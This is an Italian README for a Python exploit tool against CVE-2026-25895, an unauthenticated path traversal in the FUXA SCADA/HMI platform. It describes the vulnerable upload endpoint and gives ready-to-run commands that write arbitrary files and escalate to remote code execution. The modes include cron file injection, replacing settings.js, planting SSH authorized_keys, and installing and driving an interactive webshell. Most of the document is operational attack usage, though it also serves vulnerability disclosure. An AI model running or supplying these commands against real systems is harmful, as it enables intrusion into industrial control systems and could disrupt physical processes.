
Exploit POC per CVE-2026-25895 FUXA Path Traversal non autenticato -> Scrittura arbitraria di file -> RCE
Scrittura arbitraria di file non autenticata, pre-autenticazione, contro FUXA, una piattaforma SCADA/HMI basata su Node.js. Si collega all'esecuzione di codice remoto tramite diverse primitive post-scrittura distinte. Funziona anche quando secureEnabled = true (autenticazione attiva) perché l'endpoint vulnerabile non ha alcun middleware associato.
Disponibile anche su ExploitDB: https://www.exploit-db.com/exploits/52568
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-25895 |
| Versione affetta | FUXA <= 1.2.9 |
| Versione corretta | FUXA 1.2.10 |
| Fornitore | frangoteam / FUXA |
| Vettore d'attacco | Network (HTTP/HTTPS) |
| Autenticazione | Nessuna richiesta |
| Impatto | Scrittura arbitraria di file, esecuzione di codice remoto |
| CVSS v3.1 | 9.8 (Critico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Ricercatore | Anthony Cihan (Hann1bl3L3ct3r) |
L'endpoint POST /api/upload di FUXA (server/api/projects/index.js:193) è registrato senza middleware, bypassando sia il controllo JWT / API-key di secureFnc sia il controllo dei permessi di amministrazione applicato a ogni altro endpoint di gestione dei progetti. All'interno del gestore, il campo destination del corpo JSON viene concatenato in un percorso del filesystem con un solo underscore iniziale e senza alcuna normalizzazione o verifica di contenimento:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Un valore di destination della forma a/../../../../../etc (dove a assorbe il prefisso di underscore iniziale) fa sì che path.resolve di Node esca da appDir verso qualsiasi posizione scrivibile dal processo FUXA. Poiché fs.writeFileSync è preceduto da un fs.mkdirSync(dir, { recursive: true }) condizionale, l'attaccante può anche creare le directory padre secondo necessità.
Il risultato è una primitiva di scrittura arbitraria di file non autenticata raggiungibile sulla porta HTTP predefinita (1881), sfruttabile in fase pre-autenticazione indipendentemente dal fatto che l'amministratore FUXA abbia abilitato l'accesso.
Un attaccante remoto non autenticato può:
settings.js per ottenere l'esecuzione di codice al successivo riavvio di FUXA/etc/cron.d/<file>) per l'esecuzione di codice entro 60 secondi quando FUXA viene eseguito come root (impostazione predefinita nell'immagine Docker del fornitore)/root/.ssh/authorized_keys o in ~/.ssh/authorized_keys di qualsiasi utenteQuesta è una vulnerabilità di gravità critica pre-autenticazione su una piattaforma ICS/SCADA utilizzata per operare processi industriali.
| Versione | Stato |
|---|---|
<= 1.2.9 | Vulnerabile |
1.2.10+ | Corretta |
Confermato sfruttabile su un'installazione pulita di FUXA 1.2.9 su Ubuntu Server.
Script Python 3 in un unico file, una dipendenza di terze parti (requests).
pip install requests
python3 fuxapwn.py --help
Identifica l'utente OS in esecuzione, l'esposizione di Node-RED e qualsiasi altro account sul sistema senza scrivere nulla di inusuale:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Scrive un indicatore neutrale /tmp/healthcheck (nessun IOC specifico della CVE nel nome file o contenuto):
python3 fuxapwn.py -u http://target:1881 --mode canary
Se FUXA viene eseguito come root, inserisce un file cron che si attiva entro 60 secondi senza necessità di riavvio di FUXA:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsInstalla un listener webshell HTTP all'interno del processo Node di FUXA (si attiva al successivo avvio a freddo, poiché require() memorizza nella cache i moduli), quindi entra in una REPL interattiva dopo il riavvio di FUXA:
# Prepara il payload — sostituisce settings.js ma preserva la configurazione reale
# del target (uiPort, allowedOrigins, secureEnabled, ecc.) in modo che
# l'applicazione continui a funzionare normalmente.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Dopo il riavvio di FUXA, connettersi alla webshell installata.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| Modalità | Scopo |
|---|---|
recon | Info leak non autenticato tramite GET /api/settings; deduce l'utente OS dai percorsi assoluti; riporta lo stato di Node-RED; sonde attive opzionali --probe-root e --probe-home |
canary | Prova della primitiva di scrittura file con un percorso predefinito neutrale |
settings-rce | Sostituisce settings.js con un payload che esegue un comando configurabile al successivo avvio a freddo di FUXA |
ssh-key | Scrive una chiave pubblica in authorized_keys di un utente target |
drop | Rilascio arbitrario di file in qualsiasi percorso assoluto |
cron | Rilascia /etc/cron.d/<nome> per RCE entro 60 secondi senza attendere un riavvio di FUXA (richiede FUXA eseguito come root) |
webshell | Installa un listener webshell HTTP all'interno del processo Node di FUXA tramite sostituzione di settings.js (si attiva al successivo avvio a freddo) |
webshell-exec | Client per una webshell già installata; comando singolo o REPL --interact |
Riferimento completo per modalità e flag: python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) è registrato senza middleware e restituisce la configurazione runtime in tempo reale, leggermente oscurata (il server elimina secretCode e smtp.password prima dell'invio). I campi rimanenti rivelano percorsi assoluti (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) che tipicamente identificano l'utente di servizio, oltre a nodeRedEnabled, che è un indicatore diretto di un percorso RCE secondario non autenticato (vedi sotto).
Quando FUXA viene avviato tramite npm start sotto un account utente locale e i percorsi di installazione non codificano l'utente (ad es. l'installazione si trova sotto /opt, /tmp o un /app generico), e /root/ non è scrivibile, il PoC ricade sull'iterazione di /home/<candidato>/ con scritture di zero byte.